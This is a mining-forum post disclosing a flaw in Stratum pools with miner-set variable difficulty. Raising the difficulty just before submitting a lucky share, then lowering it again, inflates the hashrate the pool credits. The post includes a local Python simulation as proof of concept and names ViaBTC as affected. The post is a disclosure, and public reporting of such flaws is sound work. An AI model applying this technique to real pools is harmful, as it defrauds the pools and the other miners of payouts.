Post
Topic
Board Mining
Topic OP
Stratum Hashrate exploit I've found [tested and working]
by
failed@99%
on 09/12/2024, 03:56:43 UTC
Hello guys,
I don't post here much... but I had to this time because it is important:

Context:
I've contacted a couple pools regarding a flaw in the STRATUM protocol...
(well not really a flaw in the STRATUM but a logic technique that allows an attacker to increase the calculated hashrate at Pool)
Since the pools did NOT act on fixing the problem, I'm just turning on the Fan so everyone can smell it:

Intro:
We all (should) know that the difficulty we get from each share is random, but predictable.
E.g. we hash 1000 hashes in 1 second we get 1 share per second with the corresponding difficulty to be calculated by the pool as 1000H/s ... this is the norm!

Problem:
(now straight to the point!)
I found out that if you have a pool with VarDiff, specially with Miner configurable VarDiff, you are able to get paid MORE by asking the pool to increase the difficulty BEFORE you submit the current share!

Example:
Say the miner is mining at a min Diff of 32, and the pool is paying for 32 Diff shares, but you found a 64+ diff share...
If you ASK the pool to increase the difficulty to 64, and then send the share... you'll get paid for a 64 diff share!
(so far so good?)
Now let's do some Magic:
say you find a 32 diff share again.............. you can ask the pool to LOWER the difficulty back to 32!

Let's now do some MATH:
(i'll skip the WHYs, just do the calculation yourselves)
The number of 64 diff shares will be half the number of 32 diff shares...
say 1x 64 and 2x 32 at a given time interval
If you just mine at a certain difficulty of say 32... you'll send 3 shares as in the above example.... and you'll get paid for 3x 32 diff shares! RIGHT?
BUT, if you ask the pool to change the diff to 64, each time you find a 64 diff share, you'll be payed for 2x 32 Diff share and 1x 64 Diff share!

(now you think: "OK, this guy might be on to something here............")

I've actually made a PoC on this and I have a working Proxy for this strategy!
Here's the Python3 code for the PoC:

Code:
import time
import hashlib
import random

max_diff = 256 # define a max difficulty for the shares (this prevents higher than block difficulty and/or absurd difficulty)
pool_start_diff = 32 # define a starting point for the pool

class PoolSimulator:

    def __init__(self):
        self.miners = {} # new miners are added here
        self.difficulty = pool_start_diff  # Starting difficulty for all miners
        self.time = time.time() # reference time
        self.hashrate = 0 # pool starting hashrate

    def register_miner(self, miner_id):
        self.miners[miner_id] = {
            'difficulty': self.difficulty, # current miner difficulty (used to calculate each update to the hashrate below)
            'submitted_shares': [], # list of Shares already submitted to the pool
            'hashrate': 0 # calculated hashrate for THIS miner
        }

    def set_difficulty(self, miner_id, new_difficulty):
        self.miners[miner_id]['difficulty'] = new_difficulty # set new difficulty by miner
        print(f"Miner {miner_id} difficulty set to {new_difficulty}") # display the new difficulty

    def submit_share(self, miner_id, nonce):
        miner = self.miners[miner_id] # get the current miner
        current_difficulty = miner['difficulty'] # get the current difficulty from that miner
        target = (2 ** 256) // current_difficulty # get the current target from that difficulty
       
        # Validate share
        nonce_str = f"{miner_id}-{nonce}" # prepare data as a STRING to be hashed
        hash_value = int(hashlib.sha256(nonce_str.encode()).hexdigest(), 16) # actually hash the data
        if hash_value < target: # check if the date is valid under the current difficulty
            miner['submitted_shares'].append({'nonce': nonce, 'difficulty': current_difficulty}) # add share to list o valid past shares
            print(f"Valid share from miner {miner_id} at difficulty {current_difficulty}") # print that
            return True # I was thinking of using this , but I skipped it...
        else:
            print(f"Invalid share from miner {miner_id}") # report if invalid
            return False # again... not really needed

    def calc_hashrate(self):
        elapsed_time = time.time() - self.time # total time from the start
        hashrates = 0 # pool total hashrate init at 0 (ended up not really using the full potential of this... figured... i already prove my point wit one miner)
        for miner in self.miners:
            hashrate = 0 # individual miner hashrate init at 0
            for share in self.miners[miner]['submitted_shares']:
                hashrate += share['difficulty'] / elapsed_time # each share has it's dificulty, by dividing by total time, we get the portion of Hashrate that share tells the pool the miner has in total
            self.miners[miner]['hashrate'] = hashrate # after we get the total hashrate from adding all shares (based on their difficulty) we set the miner's current Hashrate
            hashrates += hashrate # pool hashrate is the sum of all individual hashrates, so we add them together
        self.hashrate = hashrates # finaly we set the current pool hashrate... (BASED on calculated hashrate from each miner share... NOT real hashrate)

    def print_hashrate(self):
        print(f"Pool Calculated Hashrate: {self.hashrate}") # this is the pool's total calculated hashrate!

# Miner behavior simulation
class MinerSimulator:
    def __init__(self, miner_id, pool, hashrate):
        self.miner_id = miner_id # set the miner ID
        self.pool = pool # set the pool for this miner
        self.hashrate = hashrate  # Hashes per second

    def mine(self):
        # Simulate mining with constant hashrate (by throtteling with time.sleep(...) )
        nonce = (random.random()*1000000)//1000000 # ugly, I know..... but efective in this PoC: Generate a new nonce

        while True:
            nonce_str = f"{self.miner_id}-{nonce}" # prepare data as a STRING to be hashed
            hash_value = int(hashlib.sha256(nonce_str.encode()).hexdigest(), 16) # actually hash the data

            # Check if share is valid against current pool difficulty
            target = (2 ** 256) // self.pool.miners[self.miner_id]['difficulty']  # get the current target from pool
            pool_diff = (2 ** 256) // target # get pool diff from that target
            share_diff = (2 ** 256) // hash_value # get the current share difficulty
           
            if share_diff > pool_start_diff: # check to see if pool will accept at all...
                if share_diff < max_diff: # check to see if share is under the maximum
                    new_diff = share_diff # if it is, use it's difficult
                else: # if not,
                    new_diff = max_diff # use the max we defined at the start...

                print(f"\nNew SHARE found by miner: {self.miner_id}") # report this share to the console

                pool.set_difficulty(self.miner_id, new_diff) # ask the pool to change the difficulty... (we should WAIT for the response) [if you COMMENT this line of code, the pool should always report the correct hashrate]{THIS IS THE MAGIC LINE}
                pool.submit_share(self.miner_id, nonce) # send the share after the response from previous line
                pool.calc_hashrate() # update the Poolside Hashrate.... (again, NOT the REAL hashrate but the one the pool will think it has)

                print(f"Share Diff: {share_diff}") # report the diff from this found share
                print(f"Real Miner Hashrate: {self.hashrate}") # report the REAL hashrate from this miner (This is the REAL reate this miner should be finding accounted at the pool, but it's NOT)
                print(f"Pool Miner Hashrate: {pool.miners[self.miner_id]['hashrate']}") # report what the pool calculates from this miner!
                pool.print_hashrate() # report total pool hashrate..........i know this could be done in a different, more elegant way... but it works, so I didn't bother

            nonce += 1 # increase the nonce
            time.sleep(1 / self.hashrate) # throttle the miner to the desired hashrate

# RUN
pool = PoolSimulator()
pool.register_miner("Miner0")

miner0 = MinerSimulator("Miner0", pool, hashrate=32) # here you shoose the REAL hashrate from the miner, and then my code does it's magic! Enjoy!
miner0.mine()

# miner1 = MinerSimulator("Miner1", pool, hashrate=32)
# miner1.mine()

This works on Pools like ViaBTC, if you suggest the difficulty via LOGIN method each time you find a Share!
(SO PLEASE FIX THIS VIABTC, like I told you, thank you)

Take Care guys